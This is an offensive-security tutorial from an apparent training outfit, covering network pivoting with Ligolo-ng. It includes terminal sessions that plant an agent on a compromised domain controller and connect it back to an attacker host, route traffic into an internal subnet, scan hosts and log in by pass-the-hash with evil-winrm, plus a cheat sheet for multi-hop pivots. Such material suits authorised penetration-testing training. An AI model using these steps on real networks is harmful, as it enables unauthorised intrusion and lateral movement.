



◆ OFFENSIVE SECURITY SERIES ◆

LIGOLO-NG

Transparent Tunnelling — Direct Internal Access Without proxychains

Transparent Pivot · tun Interface · Direct Access · Route · Agent · Multi-Hop

tun Interface

Agent Connect

Route Add

Direct nmap

Direct CME

Direct evil-winrm

Multi-Hop

RedTeamGarage (RTG) | Offensive Security Education

<https://www.redteamgarage.com/>

LEGAL DISCLAIMER

This guide is produced by RedTeamGarage (RTG) for educational purposes only.
All techniques must ONLY be used on systems you own or have explicit written
authorisation to test. RTG assumes zero liability for any misuse of this material.

**TABLE OF CONTENTS**

LIGOLO-NG — Transparent Tunnelling — Direct Internal Access Without proxychains

01.	LIGOLO-NG OVERVIEW & INSTALL
02.	AGENT CONNECTION & NETWORK DISCOVERY
03.	ROUTE & DIRECT INTERNAL ACCESS
04.	LIGOLO-NG CHEAT SHEET



01 — OVERVIEW & INSTALL

Ligolo Setup

Ligolo-ng creates a fully transparent proxy tunnel — tools run as if the pivot network is directly reachable. Unlike chisel/socat relays, Ligolo-ng creates a tun interface on the attacker meaning no proxychains needed. It's the most seamless pivoting tool for large internal networks.

```
Ligolo-ng - Install & Interface Setup

# Download ligolo-ng (proxy=attacker, agent=target)
(kali)-[~]
kali $ wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.6.1/ligolo-ng_proxy_0.6.1_linux_amd64.tar.gz
ligolo-ng_proxy_0.6.1_linux_amd64.tar.gz 100% 5.2M 3.1MB/s in 1.7s
(kali)-[~]
kali $ tar xzf ligolo-ng_proxy_0.6.1_linux_amd64.tar.gz && chmod +x proxy agent

# Create tun interface on attacker
(kali)-[~]
kali $ sudo ip tuntap add user kali mode tun ligolo
(kali)-[~]
kali $ sudo ip link set ligolo up
(kali)-[~]
kali $ ip link show ligolo
5: ligolo: <POINTOPOINT,MULTICAST,NOARP> mtu 1500 qdisc noop state DOWN mode DEFAULT group default qlen 500
    link/none
```

Figure: Ligolo proxy and agent downloaded, tun interface ligolo created on Kali



02 — AGENT & DISCOVERY

Connect & Find Networks

```
Ligolo-ng — Agent Connection & Network Discovery

# Step 1: Start ligolo-ng proxy on Kali
(kali)-[~]
kali $ ./proxy -selfcert -laddr 0.0.0.0:11601
WARN[0000] Using self-signed certificate (ECDSA with P-256)
INFO[0000] Ligolo-ng proxy started on 0.0.0.0:11601
ligolo-ng »

# Step 2: Upload agent to target and run
(kali)-[~]
kali $ upload /opt/ligolo/agent C:\Windows\Temp\agent.exe
Info: Upload successful!
# On target: ./agent -connect 10.10.14.5:11601 -ignore-cert

# Step 3: Agent connects — interact in proxy console
INFO[0045] Agent joined.          name=WIN-DC01\Administrator remote="10.10.10.100:52341"
ligolo-ng »
(kali)-[~]
kali $ session
? Specify a session : 1 - WIN-DC01\Administrator@WIN-DC01 - 10.10.10.100:52341
(kali)-[~]
kali $ 1
[Agent : WIN-DC01\Administrator@WIN-DC01] »
(kali)-[~]
kali $ ifconfig

| Interface 0
|   Name      : Ethernet0
|   Hardware MAC : 00:0c:29:ab:cd:ef
|   MTU       : 1500
|   Flags     : up|broadcast|multicast
|   IPv4 Address : 10.10.10.100/24
|   IPv4 Address : 10.10.20.1/24   ← INTERNAL NETWORK!
```

Figure: Agent connected from DC, ifconfig reveals 10.10.20.0/24 internal network



03 — ROUTE & ACCESS

Direct Tool Access

```
Ligolo-ng - Route & Direct Internal Access

# Step 4: Add route for internal network on Kali
(kali)-[~]
kali $ sudo ip route add 10.10.20.0/24 dev ligolo

# Step 5: Start tunnel in ligolo console
(kali)-[~]
kali $ start
[Agent : WIN-DC01\Administrator@WIN-DC01] » start
INFO[0060] Starting tunnel to WIN-DC01\Administrator@WIN-DC01

# Step 6: Directly access internal hosts - NO PROXYCHAINS NEEDED!
(kali)-[~]
kali $ nmap -sV -p 22,80,445,3389,5985 10.10.20.5
Starting Nmap 7.94 at 2024-01-15 09:45 GMT
Nmap scan report for 10.10.20.5
PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 10.0
445/tcp   open  microsoft-ds Windows Server 2019
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0

# evil-winrm direct (no proxychains!)
(kali)-[~]
kali $ evil-winrm -i 10.10.20.5 -u Administrator -H 8846f7eaae8fb117ad06bdd830b7586c
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
domain\administrator
```

Figure: Route added, tunnel started — nmap and evil-winrm reach internal network DIRECTLY



04 — LIGOLO CHEAT SHEET

Quick Reference

Download proxy	wget ligolo-ng_proxy_*.tar.gz from github releases
Create tun interface	sudo ip tuntap add user kali mode tun ligolo && sudo ip link set ligolo up
Start proxy (Kali)	./proxy -selfcert -laddr 0.0.0.0:11601
Run agent (target)	./agent -connect ATTACKER:11601 -ignore-cert
Select session	session then 1 (in proxy console)
View interfaces	ifconfig (in agent session – find internal networks)
Add route	sudo ip route add 10.10.20.0/24 dev ligolo
Start tunnel	start (in agent session)
Use directly	nmap/nxc/evil-winrm directly to internal IP – no proxychains!
Double pivot	On Pivot2: run another agent connecting through first tunnel
Add Pivot2 route	sudo ip route add 10.10.30.0/24 dev ligolo (second hop)
Listen on agent	listener_add --addr 0.0.0.0:LPORT --to 127.0.0.1:LPORT (for bind shells on pivot)
Stop session	stop (in agent session)
Windows agent	agent.exe -connect ATTACKER:11601 -ignore-cert



CONNECT WITH REDTEAMGARAGE (RTG)

The Community. The Knowledge. The Edge.



Official Website	https://www.redteamgarage.com/
Telegram	https://t.me/redteamgarage
LinkedIn	https://www.linkedin.com/company/redteamgarage-rtg

RTG MISSION

Real-world offensive security training - practical, no fluff, built for serious learners.

Build the most comprehensive red team technique library available anywhere.

Train the next generation of elite offensive security professionals globally.

© RedTeamGarage (RTG). All content for educational and authorized security testing only.